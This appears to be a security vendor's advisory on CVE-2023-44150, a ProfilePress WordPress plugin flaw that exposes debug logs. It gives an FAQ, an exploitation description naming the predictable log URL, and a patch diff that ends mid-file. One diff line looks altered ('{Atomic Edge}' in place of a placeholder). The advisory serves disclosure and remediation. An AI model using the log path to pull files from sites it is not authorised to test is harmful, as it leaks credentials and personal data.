What is CVE-2023-44150?

CVE-2023-44150 is an information disclosure vulnerability in the ProfilePress plugin for WordPress, affecting versions up to and including 4.13.2. It allows unauthenticated attackers to access debug log files that may contain sensitive information. The vulnerability has a CVSS score of 5.3, rated as medium severity.

How does the vulnerability work?

The plugin writes debug and error messages to predictable filenames, such as debug.log, inside the publicly accessible uploads directory. Because there is no access control, an attacker can directly request these files over HTTP. The patch in version 4.13.3 adds a random token to the filename, making it unguessable.

Who is affected by this vulnerability?

Any WordPress site running ProfilePress version 4.13.2 or earlier is affected. The vulnerability is exploitable regardless of other plugins or themes, as long as the plugin is active and debug logging has generated log files. Sites that have never triggered debug logging may not have a log file present, but the risk remains if logging occurs.

How can I check if my site is vulnerable?

Check the installed version of ProfilePress in the WordPress admin under Plugins. If it is 4.13.2 or lower, the site is potentially vulnerable. You can also attempt to access common log file paths, such as /wp-content/uploads/ppress-logs/debug.log, to see if they are publicly readable, but only do this on systems you own or have permission to test.

What is the risk level of this vulnerability?

The CVSS score of 5.3 indicates a medium severity issue. While the direct impact is information disclosure, the leaked logs may contain sensitive data like system errors, API keys, database credentials, or personal information. This information can be used to further compromise the site, making the real-world risk moderate to high.

How can I fix or mitigate this vulnerability?

The primary fix is to update ProfilePress to version 4.13.3 or later, which randomizes the log filename. If immediate update is not possible, consider blocking access to the /wp-content/uploads/ppress-logs/ directory via server configuration, or disable debug logging if the plugin provides that option. Regularly review and remove any existing log files.

What does the proof of concept demonstrate?

The proof of concept script sends HTTP GET requests to common log file paths, such as debug.log, and checks for a successful response. If the log file is accessible, it retrieves and displays the content. This demonstrates how an unauthenticated attacker can easily obtain sensitive information without any special tools.

Is there a duplicate CVE for this issue?

CVE-2023-50882 appears to be a potential duplicate of CVE-2023-44150. Both refer to the same information disclosure vulnerability in ProfilePress. Administrators should treat them as the same issue and apply the same remediation.

How does the patch in version 4.13.3 work?

The patch introduces a random token to the log filename, generated using uniqid and wp_rand, and stored in the WordPress option ppress_debug_log_token. It also adds helper functions to safely handle file operations and migrates the old predictable log file to the new name. This makes the log file effectively unguessable by attackers.

What should I do if I cannot update immediately?

If you cannot update right away, restrict access to the /wp-content/uploads/ppress-logs/ directory using server rules, such as .htaccess or Nginx configuration. Additionally, delete any existing log files and consider disabling debug logging if the plugin allows it. Monitor for any suspicious activity and plan to update as soon as possible.

Can this vulnerability be exploited without authentication?

Yes, the vulnerability can be exploited by unauthenticated attackers. No login or special privileges are required. An attacker only needs to send a simple HTTP request to the predictable log file path, making it easy to automate and exploit at scale.

Published : September 21, 2026

CVE-2023-44150: ProfilePress <= 4.13.2 Information Disclosure via Debug Log PoC, Patch Analysis & Rule

Q: What information could be exposed in the debug logs?

Debug logs may contain system errors, full file paths, database errors revealing table prefixes, API keys, user credentials, session tokens, and personal data from failed transactions. This information can aid attackers in privilege escalation, social engineering, or further attacks against the site and its users.

CVE ID CVE-2023-44150

Plugin wp-user-avatar

Severity Medium (CVSS 5.3)

CWE 200

Vulnerable Version 4.13.2

Patched Version 4.13.3

Disclosed October 1, 2023

Analysis Overview

Atomic Edge analysis of CVE-2023-44150: The ProfilePress WordPress plugin (<= 4.13.2) is vulnerable to unauthenticated information disclosure through its debug log files. The plugin writes error and debug messages to predictable filenames (e.g., debug.log) inside the uploads directory. Atomic Edge research confirms the CVSS 5.3 severity rating. An attacker can directly request these files over HTTP and read potentially sensitive information such as system errors, API keys, database credentials, or personal data. The patch in version 4.13.3 introduces a random token to the log filename, making it effectively unguessable.

Root Cause: The vulnerability stems from a combination of predictable log file naming and lack of access controls. In wp-user-avatar/src/Functions/GlobalFunctions.php, the function ppress_get_error_log() constructs the log file path as PPRESS_ERROR_LOG_FOLDER . $type . '.log' (e.g., /wp-content/uploads/ppress-logs/debug.log). There is no authentication check before reading or serving this file. Additionally, the function ppress_create_index_file() does not prevent direct access, and the uploads directory is publicly accessible by default in WordPress. The patch introduces ppress_file_system() and ppress_get_file() to handle file operations, and changes the filename to include a random token: $type . '-' . $file_token . '.log', where $file_token is a uniqid(wp_rand(), true) stored in the WordPress option ppress_debug_log_token. This makes the filename unpredictable.

Exploitation: An unauthenticated attacker can retrieve the debug log by sending a simple HTTP GET request to the predictable URL. For a default WordPress installation, the log file would reside at /wp-content/uploads/ppress-logs/debug.log. Attackers can brute-force common log filenames (debug.log, error.log) or use search engines to find exposed logs. Atomic Edge analysis indicates that no special parameters or headers are required. The proof-of-concept script below demonstrates fetching this file using cURL. Successful retrieval returns the raw log content, which may contain sensitive data such as failed login attempts, SQL errors, or API responses.

Patch Analysis: Version 4.13.3 addresses the issue by randomizing the log filename. In ppress_get_error_log(), the patch retrieves or generates a token via get_option('ppress_debug_log_token') and appends it to the filename: {$type}-{$file_token}.log. The old predictable file (debug.log) is migrated to the new name and deleted if possible. Similarly, ppress_clear_error_log() now unlinks both the tokenized and old filenames. The patch also includes a new helper ppress_file_system() to safely interact with the filesystem. This fix prevents unauthenticated access because the attacker cannot guess the random token (a uniqid combined with wp_rand()).

Impact: Exploitation allows unauthenticated attackers to read arbitrary debug log files. The logs may contain sensitive information such as full path disclosures, database errors revealing table prefixes, API keys, user credentials, session tokens, and personal data from failed transactions. This information can be used to further compromise the site, escalate privileges, or conduct social engineering. While the direct impact is information disclosure (CWE-200), the leaked data often serves as a stepping stone for more severe attacks. Atomic Edge research rates the real-world risk as moderate to high due to the ease of exploitation and the common presence of sensitive data in debug logs.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/wp-user-avatar/src/Admin/SettingsPages/Membership/views/orders/add-edit-order.php
+++ b/wp-user-avatar/src/Admin/SettingsPages/Membership/views/orders/add-edit-order.php
@@ -132,7 +132,7 @@
 </div>
 <script type="text/javascript">
     var ppress_order_replace_modal_title = '<?php esc_html_e('Add or Replace Order Item', 'wp-user-avatar'); ?>';
-    var ppress_modal_empty_plan_error = '<?php esc_html_e('Please select a subscription plan', 'wp-user-avatar'); ?>';
+    var ppress_modal_empty_plan_error = '<?php esc_html_e('Please select a membership plan', 'wp-user-avatar'); ?>';
 </script>
 <script type="text/html" id="tmpl-add-replace-order-template">
     <div class="ppress-order-item-modal-wrap">
--- a/wp-user-avatar/src/Cron.php
+++ b/wp-user-avatar/src/Cron.php
@@ -28,7 +28,7 @@
     public function check_for_expired_subscriptions()
     {
         $subs = SubscriptionRepository::init()->retrieveBy([
-            'status'      => [SubscriptionStatus::ACTIVE, SubscriptionStatus::TRIALLING],
+            'status'      => [SubscriptionStatus::ACTIVE, SubscriptionStatus::TRIALLING, SubscriptionStatus::CANCELLED],
             'date_column' => 'expiration_date',
             'start_date'  => CarbonImmutable::now('UTC')->subDay()->startOfDay()->toDateTimeString(),
             'end_date'    => CarbonImmutable::now('UTC')->subDay()->endOfDay()->toDateTimeString(),
--- a/wp-user-avatar/src/Functions/GlobalFunctions.php
+++ b/wp-user-avatar/src/Functions/GlobalFunctions.php
@@ -1126,9 +1126,45 @@
     return ppress_get_setting('admin_email_addresses', ppress_admin_email(), true);
 }

+/**
+ * @return WP_Filesystem_Base|false
+ */
+function ppress_file_system()
+{
+    global $wp_filesystem;
+
+    require_once ABSPATH . 'wp-admin/includes/file.php';
+
+    // If for some reason the include doesn't work as expected just return false.
+    if ( ! function_exists('WP_Filesystem')) {
+        return false;
+    }
+
+    $writable = WP_Filesystem(false, '', true);
+
+    // We consider the directory as writable if it uses the direct transport,
+    // otherwise credentials would be needed.
+    return ($writable && 'direct' === $wp_filesystem->method) ? $wp_filesystem : false;
+}
+
+function ppress_get_file($file)
+{
+    $content = '';
+
+    $fs = ppress_file_system();
+
+    if ($fs && $fs->exists($file)) {
+        $content = $fs->get_contents($file);
+    }
+
+    return $content;
+}
+
 function ppress_get_error_log($type = 'debug')
 {
-    $log_file = PPRESS_ERROR_LOG_FOLDER . $type . '.log';
+    $file_token = get_option('ppress_debug_log_token');
+
+    $log_file = PPRESS_ERROR_LOG_FOLDER . "{$type}-{$file_token}.log";

     $file_contents = '';

@@ -1152,14 +1188,43 @@
         ppress_create_index_file(PPRESS_ERROR_LOG_FOLDER);
     }

+    //
+    $fs = ppress_file_system();
+
+    $file_token = get_option('ppress_debug_log_token');
+    if (false === $file_token) {
+        $file_token = uniqid(wp_rand(), true);
+        update_option('ppress_debug_log_token', $file_token);
+    }
+
+    $filename = "{$type}-{$file_token}.log"; // ex. debug-5c2f6a9b9b5a3.log.
+    $file     = $log_folder . $filename;
+    $old_file = $log_folder . "{$type}.log";
+
+    // If old file exists, move it.
+    if ($fs && $fs->exists($old_file)) {
+        $old_content = ppress_get_file($old_file);
+        $fs->put_contents($file, $old_content, FS_CHMOD_FILE);
+
+        // Move old file to new location.
+        $fs->move($old_file, $file);
+
+        if ($fs->exists($old_file)) {
+            $fs->delete($old_file);
+        }
+    }
+    //
+
     $message = current_time('mysql') . ' - ' . $message . "rnrn";

-    error_log($message, 3, "{$log_folder}{$type}.log");
+    error_log($message, 3, "{$log_folder}{$filename}");
 }

 function ppress_clear_error_log($type = 'debug')
 {
-    return @unlink(PPRESS_ERROR_LOG_FOLDER . $type . '.log');
+    $file_token = get_option('ppress_debug_log_token');
+    @unlink(PPRESS_ERROR_LOG_FOLDER . "{$type}-{$file_token}.log");
+    @unlink(PPRESS_ERROR_LOG_FOLDER . $type . '.log');
 }

 function ppressPOST_var($key, $default = false, $empty = false, $bucket = false)
--- a/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
+++ b/wp-user-avatar/src/Membership/Controllers/CheckoutController.php
@@ -235,6 +235,15 @@

             $change_plan_sub_id = (int)$_POST['change_plan_sub_id'];

+            if (empty($change_plan_sub_id) && $plan_id > 0) {
+
+                if ( ! ppress_get_plan($plan_id)->is_active()) {
+                    throw new Exception(
+                        esc_html__('Invalid membership plan.', 'wp-user-avatar')
+                    );
+                }
+            }
+
             if ( ! isset($_POST['_ppress_timestamp']) || intval($_POST['_ppress_timestamp']) > (time() - 2)) {
                 throw new Exception('spam');
             }
@@ -489,6 +498,13 @@
                 'state'    => $country_state_code
             ]);

+            $cart_vars = OrderService::init()->checkout_order_calculation([
+                'plan_id'            => $planObj->id,
+                'coupon_code'        => CheckoutSessionData::get_coupon_code($planObj->id),
+                'tax_rate'           => CheckoutSessionData::get_tax_rate($planObj->id),
+                'change_plan_sub_id' => $changePlanSubId
+            ]);
+
             if (ppressPOST_var('isChangePlanUpdate') == 'true') {

                 ob_start();
@@ -504,13 +520,6 @@

             } else {

-                $cart_vars = OrderService::init()->checkout_order_calculation([
-                    'plan_id'            => $planObj->id,
-                    'coupon_code'        => CheckoutSessionData::get_coupon_code($planObj->id),
-                    'tax_rate'           => CheckoutSessionData::get_tax_rate($planObj->id),
-                    'change_plan_sub_id' => $changePlanSubId
-                ]);
-
                 ob_start();
                 ppress_render_view(
                     'checkout/form-checkout-sidebar', [
--- a/wp-user-avatar/src/Membership/Emails/EmailDataTrait.php
+++ b/wp-user-avatar/src/Membership/Emails/EmailDataTrait.php
@@ -54,8 +54,8 @@
             '{{last_name}}'              => esc_html__('Last name of the customer.', 'wp-user-avatar'),
             '{{subscription_id}}'        => esc_html__("Subscription ID.", 'wp-user-avatar'),
             '{{subscription_url}}'       => esc_html__("URL to view subscription.", 'wp-user-avatar'),
-            '{{renew_subscription_url}}' => esc_html__("URL to re-subscribe to the subscription plan.", 'wp-user-avatar'),
-            '{{plan_name}}'              => esc_html__("Name or title of subscription plan.", 'wp-user-avatar'),
+            '{{renew_subscription_url}}' => esc_html__("URL to re-subscribe to the membership plan.", 'wp-user-avatar'),
+            '{{plan_name}}'              => esc_html__("Name or title of membership plan.", 'wp-user-avatar'),
             '{{amount}}'                 => esc_html__("The recurring amount of the subscription.", 'wp-user-avatar'),
             '{{expiration_date}}'        => esc_html__("The expiration or renewal date for the subscription.", 'wp-user-avatar'),
             '{Atomic Edge}'             => esc_html__('Name or title of this website.', 'wp-user-avatar')
--- a/wp-user-avatar/src/ShortcodeParser/MembershipShortcodes.php
+++ b/wp-user-avatar/src/ShortcodeParser/MembershipShortcodes.php
@@ -139,7 +139,7 @@

         if ( ! $planObj->is_active()) {
             do_action('ppress_membership_checkout_invalid_plan');
-            echo '<p>' . esc_html__('Invalid subscription plan.', 'wp-user-avatar') . '</p>';
+            echo '<p>' . esc_html__('Invalid membership plan.', 'wp-user-avatar') . '</p>';

             return;
         }
--- a/wp-user-avatar/src/ShortcodeParser/MyAccount/edit-profile.tmpl.php
+++ b/wp-user-avatar/src/ShortcodeParser/MyAccount/edit-profile.tmpl.php
@@ -55,7 +55,7 @@
             <?= $success_message ?>
         <?php endif; ?>

-        <?php if ( ! empty($this->edit_profile_form_error)) : ?>
+        <?php if ( ! empty($this->edit_profile_form_error) && is_string($this->edit_profile_form_error)) : ?>

             <?php if (strpos($this->edit_profile_form_error, 'profilepress-edit-profile-status') !== false) : ?>
                 <?= $this->edit_profile_form_error ?>
--- a/wp-user-avatar/third-party/vendor/autoload.php
+++ b/wp-user-avatar/third-party/vendor/autoload.php
@@ -9,4 +9,4 @@

 require_once __DIR__ . '/composer/autoload_real.php';

-return ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d::getLoader();
+return ComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d::getLoader();
--- a/wp-user-avatar/third-party/vendor/composer/autoload_real.php
+++ b/wp-user-avatar/third-party/vendor/composer/autoload_real.php
@@ -2,7 +2,7 @@

 // autoload_real.php @generated by Composer

-class ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d
+class ComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d
 {
     private static $loader;

@@ -24,19 +24,19 @@

         require __DIR__ . '/platform_check.php';

-        spl_autoload_register(array('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'loadClassLoader'), true, true);
+        spl_autoload_register(array('ComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d', 'loadClassLoader'), true, true);
         self::$loader = $loader = new ComposerAutoloadClassLoader(dirname(__DIR__));
-        spl_autoload_unregister(array('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'loadClassLoader'));
+        spl_autoload_unregister(array('ComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d', 'loadClassLoader'));

         require __DIR__ . '/autoload_static.php';
-        call_user_func(ComposerAutoloadComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::getInitializer($loader));
+        call_user_func(ComposerAutoloadComposerStaticInit9c7541036f851d4273d2343fa1861d8d::getInitializer($loader));

         $loader->setClassMapAuthoritative(true);
         $loader->register(true);

-        $includeFiles = ComposerAutoloadComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$files;
+        $includeFiles = ComposerAutoloadComposerStaticInit9c7541036f851d4273d2343fa1861d8d::$files;
         foreach ($includeFiles as $fileIdentifier => $file) {
-            composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d($fileIdentifier, $file);
+            composerRequire9c7541036f851d4273d2343fa1861d8d($fileIdentifier, $file);
         }

         return $loader;
@@ -48,7 +48,7 @@
  * @param string $file
  * @return void
  */
-function composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d($fileIdentifier, $file)
+function composerRequire9c7541036f851d4273d2343fa1861d8d($fileIdentifier, $file)
 {
     if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) {
         $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true;
--- a/wp-user-avatar/third-party/vendor/composer/autoload_static.php
+++ b/wp-user-avatar/third-party/vendor/composer/autoload_static.php
@@ -4,7 +4,7 @@

 namespace ComposerAutoload;

-class ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d
+class ComposerStaticInit9c7541036f851d4273d2343fa1861d8d
 {
     public static $files = array (
         'a4a119a56e50fbb293281d9a48007e0e' => __DIR__ . '/..' . '/symfony/polyfill-php80/bootstrap.php',
@@ -671,9 +671,9 @@
     public static function getInitializer(ClassLoader $loader)
     {
         return Closure::bind(function () use ($loader) {
-            $loader->prefixLengthsPsr4 = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$prefixLengthsPsr4;
-            $loader->prefixDirsPsr4 = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$prefixDirsPsr4;
-            $loader->classMap = ComposerStaticInit61c6ca2275b7bd07d3f61d1ac43bbf8d::$classMap;
+            $loader->prefixLengthsPsr4 = ComposerStaticInit9c7541036f851d4273d2343fa1861d8d::$prefixLengthsPsr4;
+            $loader->prefixDirsPsr4 = ComposerStaticInit9c7541036f851d4273d2343fa1861d8d::$prefixDirsPsr4;
+            $loader->classMap = ComposerStaticInit9c7541036f851d4273d2343fa1861d8d::$classMap;

         }, null, ClassLoader::class);
     }
--- a/wp-user-avatar/third-party/vendor/composer/installed.php
+++ b/wp-user-avatar/third-party/vendor/composer/installed.php
@@ -2,4 +2,4 @@

 namespace ProfilePressVendor;

-return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '77ae7c49496b10bba0abb1e59027aba8c62d7868', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '77ae7c49496b10bba0abb1e59027aba8c62d7868', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'e9e4b361f2e872a0bf4933c6218c35ad48c56075', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.4', 'version' => '1.4.4.0', 'reference' => '900739eb6b0ec0210465f5983a6d4e0e420289e4', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.7.4', 'version' => '9.7.4.0', 'reference' => '002f55f649e7511710dc7154ff44c7be32c8195c', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.70.0', 'version' => '2.70.0.0', 'reference' => 'd3298b38ea8612e5f77d38d1a99438e42f70341d', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.3.0', 'version' => '6.3.0.0', 'reference' => '0284a5e0619dbf8893c3afdd4f02aa6320ba79c0', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v7.128.0', 'version' => '7.128.0.0', 'reference' => 'c704949c49b72985c76cc61063aa26fefbd2724e', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.26', 'version' => '5.4.26.0', 'reference' => '0ad3f7e9a1ab492c5b4214cf22a9dc55dcf8600a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '42292d99c55abe617799667f454222c54c60e229', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '6caa57379c4aec19c0a12a38b59b26487dcfe4b5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.24', 'version' => '5.4.24.0', 'reference' => 'de237e59c5833422342be67402d487fbf50334ff', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
+return array('root' => array('name' => '__root__', 'pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '3c65fce290c53632ebbc68e275a65aeb3841813e', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev' => true), 'versions' => array('__root__' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => '3c65fce290c53632ebbc68e275a65aeb3841813e', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'dev_requirement' => false), 'barryvdh/composer-cleanup-plugin' => array('pretty_version' => 'dev-master', 'version' => 'dev-master', 'reference' => 'e9e4b361f2e872a0bf4933c6218c35ad48c56075', 'type' => 'composer-plugin', 'install_path' => __DIR__ . '/../barryvdh/composer-cleanup-plugin', 'aliases' => array(0 => '0.1.x-dev'), 'dev_requirement' => false), 'brick/math' => array('pretty_version' => '0.9.3', 'version' => '0.9.3.0', 'reference' => 'ca57d18f028f84f777b2168cd1911b0dee2343ae', 'type' => 'library', 'install_path' => __DIR__ . '/../brick/math', 'aliases' => array(), 'dev_requirement' => false), 'collizo4sky/persist-admin-notices-dismissal' => array('pretty_version' => '1.4.4', 'version' => '1.4.4.0', 'reference' => '900739eb6b0ec0210465f5983a6d4e0e420289e4', 'type' => 'library', 'install_path' => __DIR__ . '/../collizo4sky/persist-admin-notices-dismissal', 'aliases' => array(), 'dev_requirement' => false), 'league/csv' => array('pretty_version' => '9.7.4', 'version' => '9.7.4.0', 'reference' => '002f55f649e7511710dc7154ff44c7be32c8195c', 'type' => 'library', 'install_path' => __DIR__ . '/../league/csv', 'aliases' => array(), 'dev_requirement' => false), 'nesbot/carbon' => array('pretty_version' => '2.70.0', 'version' => '2.70.0.0', 'reference' => 'd3298b38ea8612e5f77d38d1a99438e42f70341d', 'type' => 'library', 'install_path' => __DIR__ . '/../nesbot/carbon', 'aliases' => array(), 'dev_requirement' => false), 'pelago/emogrifier' => array('pretty_version' => 'v6.0.0', 'version' => '6.0.0.0', 'reference' => 'aa72d5407efac118f3896bcb995a2cba793df0ae', 'type' => 'library', 'install_path' => __DIR__ . '/../pelago/emogrifier', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock' => array('pretty_version' => '1.0.0', 'version' => '1.0.0.0', 'reference' => 'e41a24703d4560fd0acb709162f73b8adfc3aa0d', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/clock', 'aliases' => array(), 'dev_requirement' => false), 'psr/clock-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '1.0')), 'sabberworm/php-css-parser' => array('pretty_version' => '8.4.0', 'version' => '8.4.0.0', 'reference' => 'e41d2140031d533348b2192a83f02d8dd8a71d30', 'type' => 'library', 'install_path' => __DIR__ . '/../sabberworm/php-css-parser', 'aliases' => array(), 'dev_requirement' => false), 'sniccowp/php-scoper-wordpress-excludes' => array('pretty_version' => '6.3.0', 'version' => '6.3.0.0', 'reference' => '0284a5e0619dbf8893c3afdd4f02aa6320ba79c0', 'type' => 'library', 'install_path' => __DIR__ . '/../sniccowp/php-scoper-wordpress-excludes', 'aliases' => array(), 'dev_requirement' => true), 'stripe/stripe-php' => array('pretty_version' => 'v7.128.0', 'version' => '7.128.0.0', 'reference' => 'c704949c49b72985c76cc61063aa26fefbd2724e', 'type' => 'library', 'install_path' => __DIR__ . '/../stripe/stripe-php', 'aliases' => array(), 'dev_requirement' => false), 'symfony/css-selector' => array('pretty_version' => 'v5.4.26', 'version' => '5.4.26.0', 'reference' => '0ad3f7e9a1ab492c5b4214cf22a9dc55dcf8600a', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/css-selector', 'aliases' => array(), 'dev_requirement' => false), 'symfony/deprecation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => 'e8b495ea28c1d97b5e0c121748d6f9b53d075c66', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/deprecation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-mbstring' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '42292d99c55abe617799667f454222c54c60e229', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-mbstring', 'aliases' => array(), 'dev_requirement' => false), 'symfony/polyfill-php80' => array('pretty_version' => 'v1.28.0', 'version' => '1.28.0.0', 'reference' => '6caa57379c4aec19c0a12a38b59b26487dcfe4b5', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-php80', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation' => array('pretty_version' => 'v5.4.24', 'version' => '5.4.24.0', 'reference' => 'de237e59c5833422342be67402d487fbf50334ff', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-contracts' => array('pretty_version' => 'v2.5.2', 'version' => '2.5.2.0', 'reference' => '136b19dd05cdf0709db6537d058bcab6dd6e2dbe', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/translation-contracts', 'aliases' => array(), 'dev_requirement' => false), 'symfony/translation-implementation' => array('dev_requirement' => false, 'provided' => array(0 => '2.3'))));
--- a/wp-user-avatar/third-party/vendor/scoper-autoload.php
+++ b/wp-user-avatar/third-party/vendor/scoper-autoload.php
@@ -28,7 +28,7 @@
         }
     }
 }
-humbug_phpscoper_expose_class('ComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d', 'ProfilePressVendorComposerAutoloaderInit61c6ca2275b7bd07d3f61d1ac43bbf8d');
+humbug_phpscoper_expose_class('ComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d', 'ProfilePressVendorComposerAutoloaderInit9c7541036f851d4273d2343fa1861d8d');
 humbug_phpscoper_expose_class('PAnD', 'ProfilePressVendorPAnD');
 humbug_phpscoper_expose_class('PhpToken', 'ProfilePressVendorPhpToken');
 humbug_phpscoper_expose_class('ValueError', 'ProfilePressVendorValueError');
@@ -40,7 +40,7 @@
 // https://github.com/humbug/php-scoper/blob/master/docs/further-reading.md#function-aliases
 if (!function_exists('app')) { function app() { return ProfilePressVendorapp(...func_get_args()); } }
 if (!function_exists('calculateTranslationStatus')) { function calculateTranslationStatus() { return ProfilePressVendorcalculateTranslationStatus(...func_get_args()); } }
-if (!function_exists('composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d')) { function composerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d() { return ProfilePressVendorcomposerRequire61c6ca2275b7bd07d3f61d1ac43bbf8d(...func_get_args()); } }
+if (!function_exists('composerRequire9c7541036f851d4273d2343fa1861d8d')) { function composerRequire9c7541036f851d4273d2343fa1861d8d() { return ProfilePressVendorcomposerRequire9c7541036f851d4273d2343fa1861d8d(...func_get_args()); } }
 if (!function_exists('extractLocaleFromFilePath')) { function extractLocaleFromFilePath() { return ProfilePressVendorextractLocaleFromFilePath(...func_get_args()); } }
 if (!function_exists('extractTranslationKeys')) { function extractTranslationKeys() { return ProfilePressVendorextractTranslationKeys(...func_get_args()); } }
 if (!function_exists('fdiv')) { function fdiv() { return ProfilePressVendorfdiv(...func_get_args()); } }
--- a/wp-user-avatar/wp-user-avatar.php
+++ b/wp-user-avatar/wp-user-avatar.php
@@ -3,7 +3,7 @@
  * Plugin Name: ProfilePress
  * Plugin URI: https://profilepress.com
  * Description: The modern WordPress membership and user profile plugin.
- * Version: 4.13.2
+ * Version: 4.13.3
  * Author: ProfilePress Membership Team
  * Author URI: https://profilepress.com
  * Text Domain: wp-user-avatar
@@ -13,7 +13,7 @@
 defined('ABSPATH') or die("No script kiddies please!");

 define('PROFILEPRESS_SYSTEM_FILE_PATH', __FILE__);
